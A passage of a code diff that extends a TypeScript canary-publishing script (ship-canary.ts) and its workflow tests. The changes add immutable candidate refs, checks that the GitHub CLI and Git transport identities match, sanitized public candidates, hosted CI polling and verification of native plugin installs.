candidate") + expect(workflow).not.toContain("bun run generate:check") + expect(workflow).toContain("@anthropic-ai/claude-code@2.1.222") + expect(workflow).toContain("@openai/codex@0.146.1") + expect(workflow).toContain("environment: hosted-canary-qualification") + expect(workflow).toContain("CANARY_QUALIFIED_SOURCE_SHA: ${{ github.event.pull_request.head.sha }}") + expect(workflow).toContain("CANARY_TRUSTED_WORKFLOW_SHA: ${{ github.event.pull_request.base.sha }}") + expect(workflow).toContain("unset CANARY_GH_TOKEN CANARY_SSH_KNOWN_HOSTS CANARY_SSH_PRIVATE_KEY") + expect(workflow).not.toContain("CHECK_RUN_ID") +}) + +test("hosted canary workflow gives fork authors a same-repository qualification path", () => { + const workflow = readFileSync(join(root, ".github", "workflows", "hosted-canary.yml"), "utf8") + + expect(workflow).toContain( + "SAME_REPOSITORY: ${{ github.event.pull_request.head.repo.full_name == github.repository }}", + ) + expect(workflow).toContain('if [ "$CLASSIFICATION_RESULT" != "success" ]; then') + expect(workflow).toContain( + 'elif [ "$CANARIES_REQUIRED" = "true" ] && [ "$SAME_REPOSITORY" != "true" ]; then', + ) + expect(workflow).toContain( + "Hosted canaries were required for this fork pull request. A maintainer must run qualification from a same-repository branch.", + ) }) diff --git a/scripts/ship-canary.ts b/scripts/ship-canary.ts index 9d4bda2..c7a6552 100644 --- a/scripts/ship-canary.ts +++ b/scripts/ship-canary.ts @@ -1,58 +1,179 @@ -import { resolve } from "node:path" +import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs" +import { tmpdir } from "node:os" +import { join, resolve } from "node:path" import { loadPluginConfig } from "./plugin-config" +import { copyMarketplaceDistribution, proveHostedHarnessInstall } from "./prove-harness-install" const root = resolve(import.meta.dir, "..") -const help = `Publish merged plugin source to public and private canary repositories. +const HOSTED_PROOF_WORKFLOW_NAME = "Prove and package plugin" +const PUBLIC_CANARY_WORKFLOW = `name: ${HOSTED_PROOF_WORKFLOW_NAME} + +on: + push: + branches: + - "candidate/**" + +permissions: + contents: read + +jobs: + distribution: + name: Sanitized public distribution + runs-on: ubuntu-24.04 + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - name: Verify marketplace distribution + shell: bash + run: | + set -euo pipefail + test -s plugin/.claude-plugin/plugin.json + test -s plugin/.codex-plugin/plugin.json + test -s .claude-plugin/marketplace.json + test -s .agents/plugins/marketplace.json + test -x plugin/bin/hello-world + node -e 'for (const path of process.argv.slice(1)) JSON.parse(require("node:fs").readFileSync(path, "utf8"))' plugin/.claude-plugin/plugin.json plugin/.codex-plugin/plugin.json .claude-plugin/marketplace.json .agents/plugins/marketplace.json +` +const help = `Qualify publishing-system changes through public and private Git canaries. Usage: - bun run ship:canary -- --dry-run [--json] - bun run ship:canary -- --execute [--json] + bun run ship:canary -- --classify --base --head [--json] + bun run ship:canary -- --dry-run [--ref ] [--json] + bun run ship:canary -- --execute [--ref ] [--source-root ] [--json] Options: - --ref Merged source ref to publish (default: origin/main) - --dry-run Prove identity, source, visibility, and target lineage without writes - --execute Create missing canaries, fast-forward main, and wait for CI + --classify Classify base-to-head paths without repository writes + --base Base ref for --classify + --head Head ref for --classify + --ref Source ref to qualify (default: origin/main) + --source-root Candidate checkout to inspect as data (default: repository root) + --dry-run Prove identities, source, visibility, and immutable refs without writes + --execute Publish immutable candidate refs, wait for CI, and prove harness installs --json Emit one JSON result on stdout -h, --help Show this help Safety: - Publishing changes GitHub repositories. The command never force-pushes. - Active gh identity must match plugin.config.json canary.owner. + Publishing changes GitHub repositories. Candidate refs use create-only compare-and-swap and are never replaced or deleted. + Active gh and real Git transport identities must match plugin.config.json canary.actor. ` +const DEFAULT_HOSTED_RUN_DEADLINE_MS = 10 * 60 * 1000 +const DEFAULT_NETWORK_COMMAND_TIMEOUT_MS = 30 * 1000 +const DEFAULT_HOSTED_POLL_DELAY_MS = 3000 + type Visibility = "PUBLIC" | "PRIVATE" +type TransportKind = "ssh" | "https" +type CandidateState = "repository-missing" | "missing" | "current" -interface Options { +interface PublishOptions { + mode: "publish" ref: string dryRun: boolean execute: boolean json: boolean + sourceRoot: string } -interface Target { +interface ClassifyOptions { + mode: "classify" + base: string + head: string + json: boolean +} + +type Options = PublishOptions | ClassifyOptions + +/** Exact root files whose changes alter how the template publishes or proves a plugin. */ +export const PUBLISHING_SYSTEM_PATHS = [ + "package.json", + "plugin.config.json", + ".github/release-please-config.json", +] as const + +const PUBLISHING_SYSTEM_PATH_PREFIXES = ["scripts/", ".github/workflows/"] as const + +/** One hosted repository target and its immutable candidate-ref admission state. */ +export interface Target { repository: string visibility: Visibility remote: string exists: boolean - lineage: "missing" | "empty" | "current" | "fast-forward" + candidateRef: string + candidateState: CandidateState + /** Commit the hosted repository must expose at candidateRef. */ + candidateSha: string + /** Sanitized or source repository that owns candidateSha for publication. */ + publicationRoot: string + /** Deterministic Git identity used only for a sanitized public candidate. */ + publicationEnvironment?: Record headSha?: string + repairAction?: string } -interface HostedRun { +/** Hosted workflow evidence tied to the candidate commit. */ +export interface HostedRun { repository: string databaseId: number conclusion: string url: string + /** Candidate commit qualified by this receipt. */ + sourceSha: string + /** Trusted workflow commit that issued the receipt. */ + workflowSha: string + /** Authority that executed the receipt-producing workflow. */ + authority: "candidate-sanitized-workflow" | "protected-trusted-workflow" +} + +/** Native harness installation evidence derived from one hosted candidate ref. */ +export interface CandidateInstallEvidence { + repository: string + candidateRef: string + checkoutSha: string + manifestVersion: string + claude: { + mode: "native-hosted-marketplace" + version: string + cachedPayloadMatches: boolean + } + codex: { + mode: "native-hosted-marketplace" + version: string + cachedPayloadMatches: boolean + } +} + +/** Injectable hosted-I/O seams keep qualification behavior unit-testable without real repositories. */ +export interface QualificationDependencies { + publish: (target: Target, sourceSha: string) => void | Promise + hostedProof: (target: Target, sourceSha: string) => Promise + install: (target: Target, sourceSha: string) => CandidateInstallEvidence | Promise } interface Preflight { identity: string + transportIdentity: { kind: TransportKind; identity: string; host: string } sourceSha: string targets: Target[] + temporaryRoot: string +} + +interface CommandOutput { + exitCode: number + stdout: string + stderr: string } -class CanaryError extends Error { +interface TransportLocation { + kind: TransportKind + host: string + user?: string + path: string +} + +/** Structured failure with a concrete repair and same-input retry policy. */ +export class CanaryError extends Error { constructor( readonly category: string, message: string, @@ -63,9 +184,144 @@ class CanaryError extends Error { } } -function optionValue(arguments_: string[], name: string, fallback: string): string { +/** + * Classify whether changed paths alter the template publishing system. + * + * @param changedPaths - Base-to-head repository-relative paths + * @returns Hosted-canary requirement plus the exact triggering paths + * + * @example + * ```typescript + * classifyPublishingSystemChanges(["scripts/package.ts"]) + * ``` + */ +export function classifyPublishingSystemChanges(changedPaths: string[]): { + required: boolean + triggeringPaths: string[] +} { + const publishingPaths = new Set(PUBLISHING_SYSTEM_PATHS) + const triggeringPaths = [ + ...new Set( + changedPaths.filter( + (path) => + publishingPaths.has(path) || + PUBLISHING_SYSTEM_PATH_PREFIXES.some((prefix) => path.startsWith(prefix)), + ), + ), + ] + return { required: triggeringPaths.length > 0, triggeringPaths } +} + +/** + * Derive the never-reused candidate branch for one source commit. + * + * @param sourceSha - Full source commit SHA + * @returns Fully qualified candidate branch ref + * @throws {CanaryError} When the source is not a full lowercase commit SHA + * + * @example + * ```typescript + * candidateRefForSource("1".repeat(40)) + * ``` + */ +export function candidateRefForSource(sourceSha: string): string { + if (!/^[0-9a-f]{40}$/.test(sourceSha)) { + throw new CanaryError( + "source_sha_invalid", + `candidate source must be a full commit SHA: ${sourceSha}`, + "resolve and pass a full lowercase Git commit SHA", + false, + ) + } + return `refs/heads/candidate/${sourceSha}` +} + +/** + * Admit a candidate ref only when absent or already bound to the same source commit. + * + * @param candidateRef - Fully qualified candidate branch ref + * @param sourceSha - Intended immutable source commit + * @param existingSha - Current remote value, when the ref exists + * @returns Candidate ref and safe publication state + * @throws {CanaryError} When the ref name or existing commit conflicts + * + * @example + * ```typescript + * admitCandidateRef(candidateRefForSource(sha), sha, sha) + * ``` + */ +export function admitCandidateRef( + candidateRef: string, + sourceSha: string, + existingSha?: string, +): { candidateRef: string; state: "missing" | "current" } { + const expectedRef = candidateRefForSource(sourceSha) + if (candidateRef !== expectedRef) { + throw new CanaryError( + "candidate_ref_invalid", + `candidate ref ${candidateRef} does not belong to source ${sourceSha}`, + `use ${expectedRef}; never rewrite history or reuse another candidate ref`, + false, + ) + } + if (!existingSha) return { candidateRef, state: "missing" } + if (existingSha !== sourceSha) { + throw new CanaryError( + "candidate_ref_conflict", + `immutable candidate ref ${candidateRef} resolves to ${existingSha}, not ${sourceSha}`, + `inspect ${candidateRef} and choose the source SHA's own ref; never rewrite history, delete, or reuse candidate refs`, + false, + ) + } + return { candidateRef, state: "current" } +} + +/** + * Require both the GitHub CLI and real Git transport identities to match the canary owner. + * + * @param ghIdentity - Active GitHub CLI login + * @param transportIdentity - Login reported by SSH or the HTTPS credential helper + * @param expectedOwner - Configured canary owner + * @param kind - Git transport used by origin and derived canary remotes + * @returns Bound transport identity safe for mutation + * @throws {CanaryError} When either identity differs from the owner + * + * @example + * ```typescript + * bindTransportIdentity("owner", "owner", "owner", "ssh") + * ``` + */ +export function bindTransportIdentity( + ghIdentity: string, + transportIdentity: string, + expectedOwner: string, + kind: TransportKind, +): { kind: TransportKind; identity: string } { + if (ghIdentity !== expectedOwner) { + throw new CanaryError( + "identity_mismatch", + `active gh identity is ${ghIdentity}; expected ${expectedOwner}`, + `gh auth switch --hostname github.com --user ${expectedOwner}`, + false, + ) + } + if (transportIdentity !== expectedOwner) { + throw new CanaryError( + "transport_identity_mismatch", + `Git transport identity is ${transportIdentity}; active gh identity is ${ghIdentity}; expected ${expectedOwner}`, + `repair the ${kind.toUpperCase()} credentials selected by origin, then rerun --dry-run`, + false, + ) + } + return { kind, identity: transportIdentity } +} + +function optionValue(arguments_: string[], name: string, fallback?: string): string { const index = arguments_.indexOf(name) - if (index === -1) return fallback + if (index === -1) { + if (fallback !== undefined) return fallback + throw new CanaryError("usage", `${name} is required`, "bun run ship:canary -- --help") + } const value = arguments_[index + 1] if (!value || value.startsWith("--")) { throw new CanaryError("usage", `${name} requires a value`, "bun run ship:canary -- --help") @@ -78,16 +334,29 @@ function parseOptions(arguments_: string[]): Options | null { console.log(help) return null } + const classify = arguments_.includes("--classify") + const valueOptions = classify ? ["--base", "--head"] : ["--ref", "--source-root"] + const flags = classify + ? ["--classify", "--json"] + : ["--dry-run", "--execute", "--json"] for (let index = 0; index < arguments_.length; index += 1) { const argument = arguments_[index] - if (argument === "--ref") { + if (valueOptions.includes(argument)) { index += 1 continue } - if (!["--dry-run", "--execute", "--json"].includes(argument)) { + if (!flags.includes(argument)) { throw new CanaryError("usage", `unknown option: ${argument}`, "bun run ship:canary -- --help") } } + if (classify) { + return { + mode: "classify", + base: optionValue(arguments_, "--base"), + head: optionValue(arguments_, "--head"), + json: arguments_.includes("--json"), + } + } const dryRun = arguments_.includes("--dry-run") const execute = arguments_.includes("--execute") if (dryRun === execute) { @@ -98,43 +367,176 @@ function parseOptions(arguments_: string[]): Options | null { ) } return { + mode: "publish", ref: optionValue(arguments_, "--ref", "origin/main"), dryRun, execute, json: arguments_.includes("--json"), + sourceRoot: resolve(root, optionValue(arguments_, "--source-root", ".")), } } -function processResult(command: string[], allowFailure = false): string | undefined { +function commandOutput( + command: string[], + input?: string, + environment?: Record, + cwd = root, + timeout?: number, + trimOutput = true, +): CommandOutput { const result = Bun.spawnSync({ cmd: command, - cwd: root, + cwd, + env: environment, + stdin: input === undefined ? "ignore" : new Blob([input]), stdout: "pipe", stderr: "pipe", + timeout, }) + const stdout = result.stdout.toString() + const stderr = result.stderr.toString() + return { + exitCode: result.exitCode ?? 124, + stdout: trimOutput ? stdout.trim() : stdout, + stderr: trimOutput ? stderr.trim() : stderr, + } +} + +function processResult( + command: string[], + allowFailure = false, + cwd = root, + environment?: Record, +): string | undefined { + const result = commandOutput(command, undefined, environment, cwd) if (result.exitCode !== 0) { if (allowFailure) return undefined throw new CanaryError( "command_failed", - `${command.join(" ")} failed: ${result.stderr.toString().trim()}`, + `${command.join(" ")} failed: ${result.stderr}`, "repair the reported command and rerun with the same arguments", ) } - return result.stdout.toString().trim() + return result.stdout } -function targetRemote(origin: string, repository: string): string { - const scp = /^(?[^:]+):[^/]+\/[^/]+(?:\.git)?$/.exec(origin) - if (scp?.groups?.prefix) return `${scp.groups.prefix}:${repository}.git` - const url = /^(?(?:https?|ssh):\/\/[^/]+)\/[^/]+\/[^/]+(?:\.git)?$/.exec(origin) - if (url?.groups?.prefix) return `${url.groups.prefix}/${repository}.git` +function transportLocation(origin: string): TransportLocation { + const scp = /^(?[^@/:]+)@(?[^:]+):(?[^/]+\/[^/]+(?:\.git)?)$/.exec(origin) + if (scp?.groups?.user && scp.groups.host && scp.groups.path) { + return { + kind: "ssh", + user: scp.groups.user, + host: scp.groups.host, + path: scp.groups.path, + } + } + let url: URL + try { + url = new URL(origin) + } catch { + throw new CanaryError( + "remote_unsupported", + `cannot derive canary transport from origin URL: ${origin}`, + "use an SSH or HTTPS GitHub origin URL", + false, + ) + } + if (url.protocol === "ssh:") { + return { + kind: "ssh", + user: url.username || "git", + host: url.hostname, + path: url.pathname.replace(/^\//, ""), + } + } + if (url.protocol === "https:") { + return { + kind: "https", + host: url.hostname, + path: url.pathname.replace(/^\//, ""), + } + } throw new CanaryError( "remote_unsupported", `cannot derive canary transport from origin URL: ${origin}`, "use an SSH or HTTPS GitHub origin URL", + false, ) } +function targetRemote(origin: string, repository: string): string { + const transport = transportLocation(origin) + if (transport.kind === "ssh") return `${transport.user || "git"}@${transport.host}:${repository}.git` + return `https://${transport.host}/${repository}.git` +} + +function resolveTransportIdentity(origin: string): { + kind: TransportKind + identity: string + host: string +} { + const transport = transportLocation(origin) + if (transport.kind === "ssh") { + const result = commandOutput([ + "ssh", + "-T", + "-o", + "BatchMode=yes", + "-o", + "StrictHostKeyChecking=yes", + `${transport.user || "git"}@${transport.host}`, + ]) + const greeting = `${result.stdout}\n${result.stderr}` + const identity = /Hi (?[A-Za-z0-9-]+)!/.exec(greeting)?.groups?.identity + if ((result.exitCode !== 0 && result.exitCode !== 1) || !identity) { + throw new CanaryError( + "transport_identity_unproven", + `SSH transport did not prove a GitHub identity for ${transport.host}`, + `ssh -T -o BatchMode=yes -o StrictHostKeyChecking=yes ${transport.user || "git"}@${transport.host}`, + false, + ) + } + return { kind: "ssh", identity, host: transport.host } + } + const credential = commandOutput( + ["git", "credential", "fill"], + `protocol=https\nhost=${transport.host}\npath=${transport.path}\n\n`, + { ...process.env, GIT_TERMINAL_PROMPT: "0" }, + ) + if (credential.exitCode !== 0) { + throw new CanaryError( + "transport_identity_unproven", + `HTTPS credential helper did not resolve credentials for ${transport.host}`, + "configure a Git credential helper for the origin URL, then rerun --dry-run", + false, + ) + } + const password = /^password=(?[^\r\n]+)$/m.exec(credential.stdout)?.groups?.password + if (!password) { + throw new CanaryError( + "transport_identity_unproven", + `HTTPS credential helper did not report a token for ${transport.host}`, + "configure owner-bound HTTPS Git credentials, then rerun --dry-run", + false, + ) + } + const authenticated = commandOutput( + ["gh", "api", "user", "--jq", ".login"], + undefined, + { ...process.env, GH_TOKEN: password }, + ) + if (authenticated.exitCode !== 0 || !authenticated.stdout) { + throw new CanaryError( + "transport_identity_unproven", + `HTTPS credential for ${transport.host} did not authenticate with GitHub`, + "repair the HTTPS credential selected by Git, then rerun --dry-run", + false, + ) + } + const identity = authenticated.stdout + return { kind: "https", identity, host: transport.host } +} + function repositoryVisibility(repository: string): Visibility | undefined { const output = processResult( ["gh", "repo", "view", repository, "--json", "visibility", "--jq", ".visibility"], @@ -151,63 +553,153 @@ function repositoryVisibility(repository: string): Visibility | undefined { return output } -function buildTargets(origin: string, owner: string, publicName: string, privateName: string): Target[] { +function proveCandidateRef(target: Target): Target { + if (!target.exists) return target + const output = processResult([ + "git", + "ls-remote", + "--refs", + target.remote, + target.candidateRef, + ]) + if (!output) return target + const [headSha, ref, ...extra] = output.split(/\s+/) + if (!/^[0-9a-f]{40}$/.test(headSha || "") || ref !== target.candidateRef || extra.length > 0) { + throw new CanaryError( + "candidate_ref_invalid", + `${target.repository} returned an invalid candidate ref: ${output}`, + `git ls-remote --refs ${target.remote} ${target.candidateRef}`, + false, + ) + } + const admission = admitCandidateRef(target.candidateRef, target.candidateSha, headSha) + return { ...target, headSha, candidateState: admission.state } +} + +function requireGitObjectId(value: string | undefined, object: "tree" | "commit"): string { + if (!value || !/^[a-f0-9]{40}$/.test(value)) { + throw new CanaryError( + "candidate_generation_failed", + `sanitized public candidate did not produce a valid Git ${object}`, + "inspect the local Git installation, then rerun canary qualification", + false, + ) + } + return value +} + +function writePublicCanaryWorkflow(repositoryRoot: string): void { + const workflowDirectory = join(repositoryRoot, ".github", "workflows") + mkdirSync(workflowDirectory, { recursive: true }) + writeFileSync(join(workflowDirectory, "plugin-ci.yml"), PUBLIC_CANARY_WORKFLOW) +} + +export function createSanitizedPublicCandidate(sourceRoot: string, sourceSha: string): { + sha: string + repositoryRoot: string + temporaryRoot: string + environment: Record +} { + const temporaryRoot = mkdtempSync(join(tmpdir(), "public-canary-candidate-")) + const repositoryRoot = join(temporaryRoot, "marketplace") + copyMarketplaceDistribution(sourceRoot, repositoryRoot) + writePublicCanaryWorkflow(repositoryRoot) + const environment = { + PATH: process.env.PATH, + HOME: process.env.HOME, + GIT_CONFIG_GLOBAL: process.env.GIT_CONFIG_GLOBAL, + GIT_CONFIG_SYSTEM: process.env.GIT_CONFIG_SYSTEM, + GIT_AUTHOR_NAME: "Hosted Canary", + GIT_AUTHOR_EMAIL: "canary@example.invalid", + GIT_AUTHOR_DATE: "2000-01-01T00:00:00Z", + GIT_COMMITTER_NAME: "Hosted Canary", + GIT_COMMITTER_EMAIL: "canary@example.invalid", + GIT_COMMITTER_DATE: "2000-01-01T00:00:00Z", + } + try { + processResult(["git", "init", "--quiet"], false, repositoryRoot, environment) + processResult(["git", "add", "--all"], false, repositoryRoot, environment) + const tree = requireGitObjectId( + processResult(["git", "write-tree"], false, repositoryRoot, environment), + "tree", + ) + const sha = requireGitObjectId( + processResult( + ["git", "commit-tree", tree, "-m", `sanitized public canary for ${sourceSha}`], + false, + repositoryRoot, + environment, + ), + "commit", + ) + return { sha, repositoryRoot, temporaryRoot, environment } + } catch (error) { + rmSync(temporaryRoot, { recursive: true, force: true }) + throw error + } +} + +function durationDescription(milliseconds: number): string { + if (milliseconds % 60_000 === 0) { + const minutes = milliseconds / 60_000 + return `${minutes} ${minutes === 1 ? "minute" : "minutes"}` + } + if (milliseconds % 1000 === 0) { + const seconds = milliseconds / 1000 + return `${seconds} ${seconds === 1 ? "second" : "seconds"}` + } + return `${milliseconds} milliseconds` +} + +function buildTargets( + origin: string, + owner: string, + publicName: string, + privateName: string, + sourceSha: string, + sourceRoot: string, + publicCandidate: ReturnType, +): Target[] { return [ - { repository: `${owner}/${publicName}`, visibility: "PUBLIC" as const }, - { repository: `${owner}/${privateName}`, visibility: "PRIVATE" as const }, + { + repository: `${owner}/${publicName}`, + visibility: "PUBLIC" as const, + candidateSha: publicCandidate.sha, + publicationRoot: publicCandidate.repositoryRoot, + publicationEnvironment: publicCandidate.environment, + }, + { + repository: `${owner}/${privateName}`, + visibility: "PRIVATE" as const, + candidateSha: sourceSha, + publicationRoot: sourceRoot, + }, ].map((candidate) => { + const candidateRef = candidateRefForSource(candidate.candidateSha) const actual = repositoryVisibility(candidate.repository) if (actual && actual !== candidate.visibility) { throw new CanaryError( "visibility_mismatch", `${candidate.repository} is ${actual}; expected ${candidate.visibility}`, - "choose a different canary repository or correct plugin.config.json", + "choose a different canary repository or correct plugin.config.json; never rewrite repository history", false, ) } - return { + const exists = Boolean(actual) + const target: Target = { ...candidate, remote: targetRemote(origin, candidate.repository), - exists: Boolean(actual), - lineage: actual ? "empty" : "missing", + exists, + candidateRef, + candidateState: exists ? "missing" : "repository-missing", + repairAction: exists + ? undefined + : `create ${candidate.repository} as ${candidate.visibility}, then add ${candidateRef} without an initial branch`, } + return proveCandidateRef(target) }) } -function proveTargetLineage(target: Target, sourceSha: string): Target { - if (!target.exists) return target - const output = processResult(["git", "ls-remote", target.remote, "refs/heads/main"]) - if (!output) return target - const [headSha, ref, ...extra] = output.split(/\s+/) - if (!/^[0-9a-f]{40}$/.test(headSha || "") || ref !== "refs/heads/main" || extra.length > 0) { - throw new CanaryError( - "target_head_invalid", - `${target.repository} returned an invalid main ref: ${output}`, - `git ls-remote ${target.remote} refs/heads/main`, - false, - ) - } - const ancestry = Bun.spawnSync({ - cmd: ["git", "merge-base", "--is-ancestor", headSha, sourceSha], - cwd: root, - stdout: "pipe", - stderr: "pipe", - }) - if (ancestry.exitCode !== 0) { - throw new CanaryError( - "target_lineage_mismatch", - `${target.repository} main ${headSha} is not an ancestor of source ${sourceSha}`, - "choose an empty canary repository in plugin.config.json; canary history is never rewritten", - false, - ) - } - return { - ...target, - headSha, - lineage: headSha === sourceSha ? "current" : "fast-forward", - } -} - function createTarget(target: Target): void { if (target.exists) return const visibilityFlag = target.visibility === "PUBLIC" ? "--public" : "--private" @@ -224,16 +716,60 @@ function createTarget(target: Target): void { ]) } -function publishTarget(target: Target, sourceSha: string): void { +function publishTarget(target: Target, candidateSha: string): void { + if (target.candidateState === "current") return createTarget(target) - processResult(["git", "push", target.remote, `${sourceSha}:refs/heads/main`]) + try { + processResult( + [ + "git", + "push", + `--force-with-lease=${target.candidateRef}:`, + target.remote, + `${candidateSha}:${target.candidateRef}`, + ], + false, + target.publicationRoot, + target.publicationEnvironment, + ) + } catch (error) { + const raced = proveCandidateRef({ ...target, exists: true }) + if (raced.candidateState === "current") return + throw new CanaryError( + "candidate_push_rejected", + `${target.repository} rejected ${target.candidateRef}: ${error instanceof Error ? error.message : String(error)}`, + `inspect the remote candidate ref and credentials; never replace, delete, or reuse candidate history`, + false, + ) + } +} + +function positiveDuration(name: string, fallback: number): number { + const value = process.env[name] + if (value === undefined) return fallback + if (!/^[1-9]\d*$/.test(value)) { + throw new CanaryError( + "usage", + `${name} must be a positive integer number of milliseconds`, + `unset ${name} or provide a positive integer`, + false, + ) + } + return Number(value) } async function waitForRun(target: Target, sourceSha: string): Promise { - const deadline = Date.now() + 10 * 60 * 1000 + const deadlineMs = positiveDuration("CANARY_HOSTED_RUN_DEADLINE_MS", DEFAULT_HOSTED_RUN_DEADLINE_MS) + const commandTimeoutMs = positiveDuration( + "CANARY_NETWORK_COMMAND_TIMEOUT_MS", + DEFAULT_NETWORK_COMMAND_TIMEOUT_MS, + ) + const pollDelayMs = positiveDuration("CANARY_HOSTED_POLL_DELAY_MS", DEFAULT_HOSTED_POLL_DELAY_MS) + const deadline = Date.now() + deadlineMs let run: { databaseId: number; status: string; conclusion: string; url: string } | undefined while (Date.now() < deadline) { - const output = processResult([ + const remaining = Math.max(1, deadline - Date.now()) + const result = commandOutput([ "gh", "run", "list", @@ -242,29 +778,38 @@ async function waitForRun(target: Target, sourceSha: string): Promise "--commit", sourceSha, "--workflow", - "Prove and package plugin", + HOSTED_PROOF_WORKFLOW_NAME, "--limit", "1", "--json", "databaseId,status,conclusion,url", - ]) - const runs = JSON.parse(output || "[]") as Array - run = runs[0] + ], undefined, undefined, root, Math.min(commandTimeoutMs, remaining)) + if (result.exitCode === 0) { + try { + const runs = JSON.parse(result.stdout || "[]") as Array + run = runs[0] + } catch { + run = undefined + } + } if (run?.status === "completed") break - await Bun.sleep(3000) + const delay = Math.min(pollDelayMs, Math.max(0, deadline - Date.now())) + if (delay > 0) await Bun.sleep(delay) } if (!run || run.status !== "completed") { throw new CanaryError( "hosted_timeout", - `${target.repository} did not finish its hosted proof within 10 minutes`, - `gh run list --repo ${target.repository} --commit ${sourceSha}`, + `${target.repository} did not finish its hosted proof within ${durationDescription(deadlineMs)}`, + `inspect runs for ${target.candidateRef}; never rewrite or reuse the candidate ref`, + false, ) } if (run.conclusion !== "success") { throw new CanaryError( "hosted_failure", `${target.repository} hosted proof concluded ${run.conclusion}`, - run.url, + `${run.url}; repair the proof and rerun it from ${target.candidateRef}; never rewrite history`, + false, ) } return { @@ -272,21 +817,259 @@ async function waitForRun(target: Target, sourceSha: string): Promise databaseId: run.databaseId, conclusion: run.conclusion, url: run.url, + sourceSha, + workflowSha: sourceSha, + authority: "candidate-sanitized-workflow", } } -function preflight(options: Options): Preflight { - const config = loadPluginConfig(root) - const identity = processResult(["gh", "api", "user", "--jq", ".login"]) - if (identity !== config.canary.owner) { +/** + * Bind private qualification to the protected driver workflow and exact candidate source. + * + * @param target - Private canary target being qualified + * @param sourceSha - Exact candidate commit inspected by trusted code + * @param environment - GitHub Actions receipt fields supplied by the protected workflow + * @returns SHA-bound hosted-run evidence issued by trusted code + * @throws {CanaryError} When the workflow authority or source binding is absent + * + * @example + * ```typescript + * bindTrustedPrivateRun(target, sourceSha, process.env) + * ``` + */ +export function bindTrustedPrivateRun( + target: Target, + sourceSha: string, + environment: Record = process.env, +): HostedRun { + const workflowRef = environment.GITHUB_WORKFLOW_REF || "" + const workflowSha = environment.CANARY_TRUSTED_WORKFLOW_SHA || "" + const qualifiedSourceSha = environment.CANARY_QUALIFIED_SOURCE_SHA || "" + const runId = environment.GITHUB_RUN_ID || "" + const repository = environment.GITHUB_REPOSITORY || "" + const serverUrl = environment.GITHUB_SERVER_URL || "" + if ( + environment.GITHUB_ACTIONS !== "true" || + !workflowRef.includes("/.github/workflows/hosted-canary.yml@") || + !/^[0-9a-f]{40}$/.test(workflowSha) || + qualifiedSourceSha !== sourceSha || + !/^\d+$/.test(runId) || + !repository || + !serverUrl + ) { throw new CanaryError( - "identity_mismatch", - `active gh identity is ${identity}; expected ${config.canary.owner}`, - `gh auth switch --hostname github.com --user ${config.canary.owner}`, + "trusted_workflow_unproven", + `${target.repository} private proof is not bound to the protected hosted-canary workflow and source commit`, + "run qualification through .github/workflows/hosted-canary.yml from protected base code", + false, + ) + } + return { + repository: target.repository, + databaseId: Number(runId), + conclusion: "success", + url: `${serverUrl}/${repository}/actions/runs/${runId}`, + sourceSha, + workflowSha, + authority: "protected-trusted-workflow", + } +} + +function installCandidate(target: Target, sourceSha: string): CandidateInstallEvidence { + const temporaryRoot = mkdtempSync(join(tmpdir(), "hosted-canary-install-")) + const checkoutRoot = join(temporaryRoot, "candidate") + let proof: ReturnType | undefined + try { + const branch = target.candidateRef.replace(/^refs\/heads\//, "") + processResult([ + "git", + "clone", + "--quiet", + "--branch", + branch, + "--single-branch", + target.remote, + checkoutRoot, + ]) + const checkoutSha = processResult(["git", "-C", checkoutRoot, "rev-parse", "HEAD"]) || "" + if (checkoutSha !== sourceSha) { + throw new CanaryError( + "install_mismatch", + `${target.repository} candidate checkout resolved to ${checkoutSha}, not ${sourceSha}`, + `inspect ${target.candidateRef}; never rewrite history or reuse the ref`, + false, + ) + } + proof = proveHostedHarnessInstall( + checkoutRoot, + target.remote, + target.candidateRef.replace(/^refs\/heads\//, ""), + sourceSha, + ) + const manifestVersion = proof.preflight.manifestVersion + return { + repository: target.repository, + candidateRef: target.candidateRef, + checkoutSha, + manifestVersion, + claude: { + mode: proof.claude.mode, + version: proof.claude.version, + cachedPayloadMatches: proof.claude.inventory.join("\n") === proof.preflight.inventory.join("\n"), + }, + codex: { + mode: proof.codex.mode, + version: proof.codex.version, + cachedPayloadMatches: proof.codex.inventory.join("\n") === proof.preflight.inventory.join("\n"), + }, + } + } catch (error) { + if (error instanceof CanaryError) throw error + throw new CanaryError( + "install_mismatch", + `${target.repository} native candidate installation failed: ${error instanceof Error ? error.message : String(error)}`, + `repair the native install proof and rerun from ${target.candidateRef}; never rewrite history`, + false, + ) + } finally { + if (proof?.temporaryRoot) rmSync(proof.temporaryRoot, { recursive: true, force: true }) + rmSync(temporaryRoot, { recursive: true, force: true }) + } +} + +function candidateCanaryTargets(sourceRoot: string): { + owner?: unknown + actor?: unknown + publicRepository?: unknown + privateRepository?: unknown +} { + try { + const candidate = JSON.parse(readFileSync(join(sourceRoot, "plugin.config.json"), "utf8")) as { + canary?: { + owner?: unknown + actor?: unknown + publicRepository?: unknown + privateRepository?: unknown + } + } + return candidate.canary ?? {} + } catch (error) { + throw new CanaryError( + "candidate_config_invalid", + `candidate plugin.config.json is unreadable: ${error instanceof Error ? error.message : String(error)}`, + "repair the candidate metadata in the unprivileged pull-request checkout", + false, + ) + } +} + +function assertCandidateInstall( + target: Target, + evidence: CandidateInstallEvidence, +): void { + const matches = + evidence.repository === target.repository && + evidence.candidateRef === target.candidateRef && + evidence.checkoutSha === target.candidateSha && + evidence.claude.mode === "native-hosted-marketplace" && + evidence.codex.mode === "native-hosted-marketplace" && + evidence.claude.version === evidence.manifestVersion && + evidence.codex.version === evidence.manifestVersion && + evidence.claude.cachedPayloadMatches && + evidence.codex.cachedPayloadMatches + if (!matches) { + throw new CanaryError( + "install_mismatch", + `${target.repository} did not match candidate commit, version, and cached payload through both native harness flows`, + `repair the native install proof and rerun from ${target.candidateRef}; never rewrite history`, false, ) } - const dirty = processResult(["git", "status", "--porcelain", "--untracked-files=no"]) +} + +/** + * Publish, prove, and install both hosted targets through injectable I/O seams. + * + * @param targets - Public and private immutable candidate targets + * @param sourceSha - Recipient source commit bound into the deterministic public fixture + * @param dependencies - Hosted publication, workflow, and install adapters + * @returns Hosted runs and native install comparisons without unrelated distribution claims + * @throws {CanaryError} When hosted or native qualification fails + * + * @example + * ```typescript + * await qualifyTargets(targets, sha, dependencies) + * ``` + */ +export async function qualifyTargets( + targets: Target[], + sourceSha: string, + dependencies?: QualificationDependencies, +): Promise<{ runs: HostedRun[]; installs: 